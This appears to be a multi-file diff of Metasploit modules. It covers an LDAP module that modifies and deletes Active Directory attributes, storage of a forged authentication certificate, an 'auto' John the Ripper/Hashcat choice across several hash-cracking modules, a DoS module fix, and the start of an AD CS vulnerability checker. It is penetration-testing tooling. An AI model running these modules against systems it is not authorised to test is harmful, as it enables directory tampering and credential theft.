ops = [[:replace, attribute, datastore['VALUE']]]
|
||||
|
||||
print_status("Attempting to update #{datastore['ATTRIBUTE']} for #{target_dn} to #{datastore['VALUE']}...")
|
||||
@ldap.modify(dn: target_dn, operations: ops)
|
||||
validate_query_result!(@ldap.get_operation_result.table)
|
||||
|
||||
print_good("Successfully updated #{target_dn}'s #{datastore['ATTRIBUTE']} to #{datastore['VALUE']}")
|
||||
original_value
|
||||
end
|
||||
|
||||
def action_delete
|
||||
target_object = find_target_object
|
||||
target_dn = target_object['dN'].first
|
||||
attribute = datastore['ATTRIBUTE'].to_sym
|
||||
|
||||
print_status("Attempting to delete attribute #{datastore['ATTRIBUTE']} from #{target_dn}...")
|
||||
|
||||
ops = [[:delete, attribute]]
|
||||
@ldap.modify(dn: target_dn, operations: ops)
|
||||
validate_query_result!(@ldap.get_operation_result.table)
|
||||
|
||||
print_good("Successfully deleted attribute #{datastore['ATTRIBUTE']} from #{target_dn}")
|
||||
end
|
||||
|
||||
def run
|
||||
if (datastore['ACTION'].downcase == 'update' || datastore['ACTION'].downcase == 'create') && datastore['VALUE'].blank?
|
||||
fail_with(Failure::BadConfig, 'The VALUE option must be set for CREATE and UPDATE actions.')
|
||||
end
|
||||
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
vprint_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
vprint_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = ldap.base_dn)
|
||||
fail_with(Failure::NotFound, "Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@ldap = ldap
|
||||
|
||||
result = send("action_#{action.name.downcase}")
|
||||
print_good('The operation completed successfully!')
|
||||
result
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
end
|
||||
@@ -254,9 +254,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
|
||||
store_cert(pkcs12)
|
||||
stored_path = store_cert(pkcs12)
|
||||
|
||||
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
|
||||
[credential.device_id, stored_path]
|
||||
end
|
||||
|
||||
def store_cert(pkcs12)
|
||||
@@ -280,6 +281,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"
|
||||
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
|
||||
print_status("Certificate stored at: #{stored_path}")
|
||||
stored_path
|
||||
end
|
||||
|
||||
def ldap_service_data
|
||||
|
||||
@@ -25,8 +25,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
['hashcat', { 'Description' => 'Use Hashcat' }],
|
||||
['auto', { 'Description' => 'Auto-selection of cracker' }]
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
'DefaultAction' => 'auto',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
@@ -45,9 +46,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def show_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cmd = cracker_instance.john_crack_command
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cmd = cracker_instance.hashcat_crack_command
|
||||
end
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
@@ -63,12 +64,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
next unless fields.count >= 3
|
||||
|
||||
cred = { 'hash_type' => hash_type, 'method' => method }
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cred['username'] = fields.shift
|
||||
cred['core_id'] = fields.pop
|
||||
4.times { fields.pop } # Get rid of extra :
|
||||
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cred['core_id'] = fields.shift
|
||||
cred['hash'] = fields.shift
|
||||
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
|
||||
@@ -85,14 +86,20 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
tbl = tbl = cracker_results_table
|
||||
tbl = cracker_results_table
|
||||
cracker = new_password_cracker(action.name)
|
||||
if action.name == 'auto'
|
||||
@cracker_type = cracker.get_type
|
||||
else
|
||||
@cracker_type = action.name
|
||||
end
|
||||
|
||||
hash_types_to_crack = ['descrypt']
|
||||
jobs_to_do = []
|
||||
|
||||
# build our job list
|
||||
hash_types_to_crack.each do |hash_type|
|
||||
job = hash_job(hash_type, action.name)
|
||||
job = hash_job(hash_type, @cracker_type)
|
||||
if job.nil?
|
||||
print_status("No #{hash_type} found to crack")
|
||||
else
|
||||
@@ -110,8 +117,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Inner array format: db_id, hash_type, username, password, method_of_crack
|
||||
results = []
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
|
||||
# generate our wordlist and close the file handle. max length of DES is 8
|
||||
wordlist = wordlist_file(8)
|
||||
unless wordlist
|
||||
@@ -136,7 +141,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cracker_instance = cracker.dup
|
||||
cracker_instance.format = format
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cracker_instance.fork = datastore['FORK']
|
||||
end
|
||||
|
||||
@@ -147,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
|
||||
next if job['cred_ids_left_to_crack'].empty?
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
print_status "Cracking #{format} hashes in single mode..."
|
||||
cracker_instance.mode_single(wordlist.path)
|
||||
show_command cracker_instance
|
||||
@@ -189,7 +194,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status "Cracking #{format} hashes in wordlist mode..."
|
||||
cracker_instance.mode_wordlist(wordlist.path)
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if action.name == 'john' && datastore['KORELOGIC']
|
||||
if @cracker_type == 'john' && datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status 'Applying KoreLogic ruleset...'
|
||||
end
|
||||
|
||||
@@ -34,8 +34,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
['hashcat', { 'Description' => 'Use Hashcat' }],
|
||||
['auto', { 'Description' => 'Auto-selection of cracker' }]
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
'DefaultAction' => 'auto',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
@@ -58,9 +59,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def show_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cmd = cracker_instance.john_crack_command
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cmd = cracker_instance.hashcat_crack_command
|
||||
end
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
@@ -74,13 +75,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fields = password_line.split(':')
|
||||
cred = { 'hash_type' => hash_type, 'method' => method }
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
next unless fields.count >= 3
|
||||
|
||||
cred['username'] = fields.shift
|
||||
cred['core_id'] = fields.pop
|
||||
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
next unless fields.count >= 2
|
||||
|
||||
cred['core_id'] = fields.shift
|
||||
@@ -109,7 +110,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
tbl = tbl = cracker_results_table
|
||||
tbl = cracker_results_table
|
||||
cracker = new_password_cracker(action.name)
|
||||
if action.name == 'auto'
|
||||
@cracker_type = cracker.get_type
|
||||
else
|
||||
@cracker_type = action.name
|
||||
end
|
||||
|
||||
# array of hashes in jtr_format in the db, converted to an OR combined regex
|
||||
hash_types_to_crack = []
|
||||
@@ -128,7 +135,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# hashcat requires a format we dont have all the data for
|
||||
# in the current dumper, so this is disabled in module and lib
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
hash_types_to_crack << 'oracle'
|
||||
hash_types_to_crack << 'dynamic_1506'
|
||||
end
|
||||
@@ -143,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# build our job list
|
||||
hash_types_to_crack.each do |hash_type|
|
||||
job = hash_job(hash_type, action.name)
|
||||
job = hash_job(hash_type, cracker.cracker)
|
||||
if job.nil?
|
||||
print_status("No #{hash_type} found to crack")
|
||||
else
|
||||
@@ -161,8 +168,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Inner array format: db_id, hash_type, username, password, method_of_crack
|
||||
results = []
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
|
||||
# generate our wordlist and close the file handle.
|
||||
wordlist = wordlist_file
|
||||
unless wordlist
|
||||
@@ -187,7 +192,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cracker_instance = cracker.dup
|
||||
cracker_instance.format = format
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cracker_instance.fork = datastore['FORK']
|
||||
end
|
||||
|
||||
@@ -198,7 +203,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
|
||||
next if job['cred_ids_left_to_crack'].empty?
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
print_status "Cracking #{format} hashes in single mode..."
|
||||
cracker_instance.mode_single(wordlist.path)
|
||||
show_command cracker_instance
|
||||
@@ -239,7 +244,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status "Cracking #{format} hashes in wordlist mode..."
|
||||
cracker_instance.mode_wordlist(wordlist.path)
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if action.name == 'john' && datastore['KORELOGIC']
|
||||
if @cracker_type == 'john' && datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status 'Applying KoreLogic ruleset...'
|
||||
end
|
||||
|
||||
@@ -32,8 +32,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
['hashcat', { 'Description' => 'Use Hashcat' }],
|
||||
['auto', { 'Description' => 'Auto-selection of cracker' }]
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
'DefaultAction' => 'auto',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
@@ -58,9 +59,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def show_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cmd = cracker_instance.john_crack_command
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cmd = cracker_instance.hashcat_crack_command
|
||||
end
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
@@ -74,14 +75,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fields = password_line.split(':')
|
||||
cred = { 'hash_type' => hash_type, 'method' => method }
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
next unless fields.count >= 3 # If we don't have an expected minimum number of fields, this is probably not a hash line
|
||||
|
||||
cred['username'] = fields.shift
|
||||
cred['core_id'] = fields.pop
|
||||
4.times { fields.pop } # Get rid of extra :
|
||||
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
next unless fields.count >= 2 # If we don't have an expected minimum number of fields, this is probably not a hash line
|
||||
|
||||
cred['core_id'] = fields.shift
|
||||
@@ -100,7 +101,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
tbl = tbl = cracker_results_table
|
||||
tbl = cracker_results_table
|
||||
cracker = new_password_cracker(action.name)
|
||||
if action.name == 'auto'
|
||||
@cracker_type = cracker.get_type
|
||||
else
|
||||
@cracker_type = action.name
|
||||
end
|
||||
|
||||
# array of hashes in jtr_format in the db, converted to an OR combined regex
|
||||
hash_types_to_crack = []
|
||||
@@ -115,7 +122,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# build our job list
|
||||
hash_types_to_crack.each do |hash_type|
|
||||
job = hash_job(hash_type, action.name)
|
||||
job = hash_job(hash_type, @cracker_type)
|
||||
if job.nil?
|
||||
print_status("No #{hash_type} found to crack")
|
||||
else
|
||||
@@ -133,8 +140,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Inner array format: db_id, hash_type, username, password, method_of_crack
|
||||
results = []
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
|
||||
# generate our wordlist and close the file handle.
|
||||
wordlist = wordlist_file
|
||||
unless wordlist
|
||||
@@ -158,7 +163,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cracker_instance = cracker.dup
|
||||
cracker_instance.format = format
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cracker_instance.fork = datastore['FORK']
|
||||
end
|
||||
|
||||
@@ -169,7 +174,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
|
||||
next if job['cred_ids_left_to_crack'].empty?
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
print_status "Cracking #{format} hashes in single mode..."
|
||||
cracker_instance.mode_single(wordlist.path)
|
||||
show_command cracker_instance
|
||||
@@ -211,7 +216,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status "Cracking #{format} hashes in wordlist mode..."
|
||||
cracker_instance.mode_wordlist(wordlist.path)
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if action.name == 'john' && datastore['KORELOGIC']
|
||||
if @cracker_type == 'john' && datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status 'Applying KoreLogic ruleset...'
|
||||
end
|
||||
|
||||
@@ -24,8 +24,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
['hashcat', { 'Description' => 'Use Hashcat' }],
|
||||
['auto', { 'Description' => 'Auto-selection of cracker' }]
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
'DefaultAction' => 'auto',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
@@ -47,9 +48,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def show_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cmd = cracker_instance.john_crack_command
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cmd = cracker_instance.hashcat_crack_command
|
||||
end
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
@@ -63,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fields = password_line.split(':')
|
||||
cred = { 'hash_type' => hash_type, 'method' => method }
|
||||
# If we don't have an expected minimum number of fields, this is probably not a hash line
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
next unless fields.count >= 3
|
||||
|
||||
cred['username'] = fields.shift
|
||||
@@ -72,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
4.times { fields.pop } # Get rid of extra :
|
||||
end
|
||||
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
next unless fields.count >= 3
|
||||
|
||||
cred['core_id'] = fields.shift
|
||||
@@ -91,7 +92,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
tbl = tbl = cracker_results_table
|
||||
tbl = cracker_results_table
|
||||
cracker = new_password_cracker(action.name)
|
||||
if action.name == 'auto'
|
||||
@cracker_type = cracker.get_type
|
||||
else
|
||||
@cracker_type = action.name
|
||||
end
|
||||
|
||||
# array of hashes in jtr_format in the db, converted to an OR combined regex
|
||||
hash_types_to_crack = []
|
||||
@@ -102,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# build our job list
|
||||
hash_types_to_crack.each do |hash_type|
|
||||
job = hash_job(hash_type, action.name)
|
||||
job = hash_job(hash_type, @cracker_type)
|
||||
if job.nil?
|
||||
print_status("No #{hash_type} found to crack")
|
||||
else
|
||||
@@ -120,8 +127,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Inner array format: db_id, hash_type, username, password, method_of_crack
|
||||
results = []
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
|
||||
# generate our wordlist and close the file handle.
|
||||
wordlist = wordlist_file
|
||||
unless wordlist
|
||||
@@ -144,7 +149,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# dupe our original cracker so we can safely change options between each run
|
||||
cracker_instance = cracker.dup
|
||||
cracker_instance.format = format
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cracker_instance.fork = datastore['FORK']
|
||||
end
|
||||
|
||||
@@ -153,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT')
|
||||
vprint_good(append_results(tbl, results)) unless results.empty?
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
print_status "Cracking #{format} hashes in single mode..."
|
||||
cracker_instance.mode_single(wordlist.path)
|
||||
show_command cracker_instance
|
||||
@@ -194,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status "Cracking #{format} hashes in wordlist mode..."
|
||||
cracker_instance.mode_wordlist(wordlist.path)
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if action.name == 'john' && datastore['KORELOGIC']
|
||||
if @cracker_type == 'john' && datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status 'Applying KoreLogic ruleset...'
|
||||
end
|
||||
|
||||
@@ -24,8 +24,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
['hashcat', { 'Description' => 'Use Hashcat' }],
|
||||
['auto', { 'Description' => 'Auto-selection of cracker' }]
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
'DefaultAction' => 'auto',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
@@ -48,9 +49,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def show_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cmd = cracker_instance.john_crack_command
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cmd = cracker_instance.hashcat_crack_command
|
||||
end
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
@@ -64,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fields = password_line.split(':')
|
||||
cred = { 'hash_type' => hash_type, 'method' => method }
|
||||
# If we don't have an expected minimum number of fields, this is probably not a hash line
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
next unless fields.count >= 3
|
||||
|
||||
cred['username'] = fields.shift
|
||||
cred['core_id'] = fields.pop
|
||||
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
next unless fields.count >= 2
|
||||
|
||||
cred['core_id'] = fields.shift
|
||||
@@ -89,7 +90,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
tbl = tbl = cracker_results_table
|
||||
tbl = cracker_results_table
|
||||
cracker = new_password_cracker(action.name)
|
||||
if action.name == 'auto'
|
||||
@cracker_type = cracker.get_type
|
||||
else
|
||||
@cracker_type = action.name
|
||||
end
|
||||
|
||||
hash_types_to_crack = []
|
||||
hash_types_to_crack << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN']
|
||||
@@ -100,7 +107,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# build our job list
|
||||
hash_types_to_crack.each do |hash_type|
|
||||
job = hash_job(hash_type, action.name)
|
||||
job = hash_job(hash_type, @cracker_type)
|
||||
if job.nil?
|
||||
print_status("No #{hash_type} found to crack")
|
||||
else
|
||||
@@ -118,8 +125,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Inner array format: db_id, hash_type, username, password, method_of_crack
|
||||
results = []
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
|
||||
# generate our wordlist and close the file handle.
|
||||
wordlist = wordlist_file
|
||||
unless wordlist
|
||||
@@ -142,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# dupe our original cracker so we can safely change options between each run
|
||||
cracker_instance = cracker.dup
|
||||
cracker_instance.format = format
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cracker_instance.fork = datastore['FORK']
|
||||
end
|
||||
|
||||
@@ -153,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
|
||||
next if job['cred_ids_left_to_crack'].empty?
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
print_status "Cracking #{format} hashes in single mode..."
|
||||
cracker_instance.mode_single(wordlist.path)
|
||||
show_command cracker_instance
|
||||
@@ -194,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status "Cracking #{format} hashes in wordlist mode..."
|
||||
cracker_instance.mode_wordlist(wordlist.path)
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if action.name == 'john' && datastore['KORELOGIC']
|
||||
if @cracker_type == 'john' && datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status 'Applying KoreLogic ruleset...'
|
||||
end
|
||||
|
||||
@@ -30,8 +30,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
['hashcat', { 'Description' => 'Use Hashcat' }],
|
||||
['auto', { 'Description' => 'Auto-selection of cracker' }]
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
'DefaultAction' => 'auto',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
@@ -62,9 +63,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def show_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cmd = cracker_instance.john_crack_command
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
cmd = cracker_instance.hashcat_crack_command
|
||||
end
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
@@ -102,7 +103,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
fields = password_line.split(':')
|
||||
cred = { 'hash_type' => hash_type, 'method' => method }
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
# If we don't have an expected minimum number of fields, this is probably not a hash line
|
||||
next unless fields.count > 2
|
||||
|
||||
@@ -136,7 +137,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cred['password'] = john_lm_upper_to_ntlm(password, nt_hash)
|
||||
end
|
||||
next if cred['password'].nil?
|
||||
elsif action.name == 'hashcat'
|
||||
elsif @cracker_type == 'hashcat'
|
||||
next unless fields.count >= 2
|
||||
|
||||
cred['core_id'] = fields.shift
|
||||
@@ -164,7 +165,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
tbl = cracker_results_table
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
if action.name == 'auto'
|
||||
@cracker_type = cracker.get_type
|
||||
else
|
||||
@cracker_type = action.name
|
||||
end
|
||||
# array of hashes in jtr_format in the db, converted to an OR combined regex
|
||||
hash_types_to_crack = []
|
||||
hash_types_to_crack << 'lm' if datastore['LANMAN']
|
||||
@@ -178,7 +184,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# build our job list
|
||||
hash_types_to_crack.each do |hash_type|
|
||||
job = hash_job(hash_type, action.name)
|
||||
job = hash_job(hash_type, @cracker_type)
|
||||
if job.nil?
|
||||
print_status("No #{hash_type} found to crack")
|
||||
else
|
||||
@@ -196,8 +202,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Inner array format: db_id, hash_type, username, password, method_of_crack
|
||||
results = []
|
||||
|
||||
cracker = new_password_cracker(action.name)
|
||||
|
||||
# generate our wordlist and close the file handle.
|
||||
wordlist = wordlist_file
|
||||
unless wordlist
|
||||
@@ -220,7 +224,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# dupe our original cracker so we can safely change options between each run
|
||||
cracker_instance = cracker.dup
|
||||
cracker_instance.format = format
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
cracker_instance.fork = datastore['FORK']
|
||||
end
|
||||
|
||||
@@ -231,7 +235,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
|
||||
next if job['cred_ids_left_to_crack'].empty?
|
||||
|
||||
if action.name == 'john'
|
||||
if @cracker_type == 'john'
|
||||
print_status "Cracking #{format} hashes in single mode..."
|
||||
cracker_instance.mode_single(wordlist.path)
|
||||
show_command cracker_instance
|
||||
@@ -274,7 +278,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status "Cracking #{format} hashes in wordlist mode..."
|
||||
cracker_instance.mode_wordlist(wordlist.path)
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if action.name == 'john' && datastore['KORELOGIC']
|
||||
if @cracker_type == 'john' && datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status 'Applying KoreLogic ruleset...'
|
||||
end
|
||||
|
||||
@@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def conduct_dos
|
||||
datastore['URI']
|
||||
uri = datastore['URI']
|
||||
rhost = datastore['RHOST']
|
||||
ranges = ''
|
||||
|
||||
|
||||
@@ -1,11 +1,17 @@
|
||||
require 'winrm'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Exploit::Remote::LDAP::ActiveDirectory
|
||||
include Msf::OptionalSession::LDAP
|
||||
include Rex::Proto::MsDnsp
|
||||
include Rex::Proto::Secauthz
|
||||
include Rex::Proto::LDAP
|
||||
include Rex::Proto::CryptoAsn1
|
||||
include Rex::Proto::MsCrtd
|
||||
|
||||
class LdapWhoamiError < StandardError; end
|
||||
|
||||
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
|
||||
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
|
||||
@@ -13,13 +19,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ADS_GROUP_TYPE_SECURITY_ENABLED = 0x80000000
|
||||
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
|
||||
|
||||
# https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-edit-vulnerable-ca-setting
|
||||
EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
|
||||
|
||||
REFERENCES = {
|
||||
'ESC1' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
